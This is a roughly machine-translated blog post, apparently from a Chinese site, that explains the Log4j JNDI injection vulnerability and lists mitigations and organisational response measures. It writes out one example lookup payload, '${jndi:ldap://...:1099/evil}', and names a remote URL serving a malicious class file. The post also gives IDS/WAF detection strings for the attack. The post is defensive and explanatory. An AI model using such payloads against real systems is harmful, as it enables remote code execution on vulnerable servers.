当前位置:网站首页>Information security - Epic vulnerability log4j vulnerability mechanism and preventive measures
Information security - Epic vulnerability log4j vulnerability mechanism and preventive measures
2022-07-06 15:46:00 【Empty one by one】
Recently, you r & D students must have been log4j The hole is terrible , In the morning 2 Click one after another to fix the vulnerability . And one version has been repaired , And burst out again and again 2.15,2.16 Loopholes bypass , Rise to 2.17 Version of . Bother 、 Bother 、 Bother .
experienced , We have to understand log4j What is the loophole , How was this vulnerability exploited , What are the consequences .
log4j There are two kinds of vulnerability mechanisms , Don't talk much , Upper figure ;
1. utilize log4j Trigger Ldap、 And make use of ldap Find the principle attack path
2. utilize log4j Trigger RMI Attack path
We usually keep logs :logger.inf("this is a log content"); This will be recorded in the log file this is a log content.
however log4j For some special , Such as :logger.info(${jndi:ldap://172.20.0.188:1099/evil});,log4j2 This line of string to be output will be parsed , It found... In the string ${, It has to be dealt with separately , Found to be JNDI Extended content .
Right again JNDI Further analysis , It was found that LDAP agreement ,LDAP The server 172.20.0.188:1099, You're looking for key yes evil, Then call the specific responsible LDAP To request the corresponding data . The problem is coming. !JNDI Support a method called named reference , That is to say JNDI It can be downloaded remotely class File to build objects !!! Load and build objects after downloading , We are such a big move that we are shocked .
If downloaded remotely URL It points to a hacker's server (http://172.20.0.188:80/excute.class), And downloaded class There is malicious code in the file , It's too late , Any consequence may occur , This is a JNDI Inject .
Protection and solution
1、 Check code , Upgrade to a safe version in time , This vulnerability also involves many Apache Open source project , This part should also be updated in time , Use the latest version 2.17.0.
2、 Malicious traffic may exist jndi:ladp:// jdni:rmi,IDS and WAF You can write corresponding rules to check out attack traffic from traffic ;
3、 add to jvm Launch parameters -Dlog4j2.formatMsgNoLookups=true
4、 Modify the configuration file log4j2.formatMsgNoLookups=True
5、 Modify environment variables FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS Set to true
6、 Turn off unnecessary internet requests ;
7、 Ban lookup or JNDI service ;
8、jdk Upgrade to the latest version ;
from log4j Thinking about loopholes in the construction of emergency response capacity
1. Open source components introduce specifications : Consider unification log4j And other open source components , We only need to introduce a few common versions , After safety inspection, it is stored in the company maven The private server library is for research and development , Other unverified versions are not allowed to be introduced ; If you need to quote private servers, consider going to approval 、 Enter after safety verification maven Private servers ;
2. Development model : The application of all component packages adopts java Rely on Management , Component dependency adopts rating pom Import ; Each time you upgrade components, you only need to upgrade the top pom, Other programs that use components only need to recompile and pull the latest package to complete the component upgrade , There is no need to change pom;
3.CICD Deploy the platform side : Deployment and startup of all programs , Both sides of the platform need to have control and response capabilities ; such as :java programmatic shell The startup script must be in CICD Partial platformization on the deployment platform , adopt CICD The platform can uniformly modify the startup command and complete the restart operation , Let the platform have the ability of rapid response ;
4. Asset platform side : It is necessary to clarify which applications have access to the Internet , What open source components do these applications use , What is the version of the corresponding open source component . Through the asset platform, we can quickly locate the risk status of existing applications ;
5. Code detection platform : Time match cve The vulnerable version in the open source component in is different from the existing version , And it can generate alarms and trigger alarm disposal process ;
6. From the perspective of zero trust , The zero trust platform is log4j Loopholes can play a role : With the help of the model of zero trust and only trust white list , All requirements for calling external interfaces from the company's intranet need to be filed on the zero trust platform , If an untrusted call chain is found , Trigger the alarm immediately ;
边栏推荐
- 【练习-11】4 Values whose Sum is 0(和为0的4个值)
- Learning record: how to perform PWM output
- Research Report on medical anesthesia machine industry - market status analysis and development prospect prediction
- FSM and I2C experiment report
- 力扣刷题记录--完全背包问题(一)
- C 基本语法
- MySQL授予用户指定内容的操作权限
- ucore lab5
- Research Report of exterior wall insulation system (ewis) industry - market status analysis and development prospect prediction
- C语言必背代码大全
猜你喜欢
随机推荐
STM32 how to use stlink download program: light LED running light (Library version)
Opencv learning log 14 - count the number of coins in the picture (regardless of overlap)
Ball Dropping
ucore lab 2
China potato slicer market trend report, technical dynamic innovation and market forecast
Market trend report, technical innovation and market forecast of Chinese hospital respiratory humidification equipment
JS调用摄像头
Learning record: how to perform PWM output
FSM and I2C experiment report
【练习-7】(Uva 10976)Fractions Again?!(分数拆分)
入门C语言基础问答
想应聘程序员,您的简历就该这样写【精华总结】
Market trend report, technical innovation and market forecast of lip care products in China and Indonesia
Learning record: use stm32f1 watchdog
0-1 knapsack problem (I)
Cost accounting [20]
动态规划前路径问题优化方式
China's salt water membrane market trend report, technological innovation and market forecast
Cost accounting [24]
Cost accounting [22]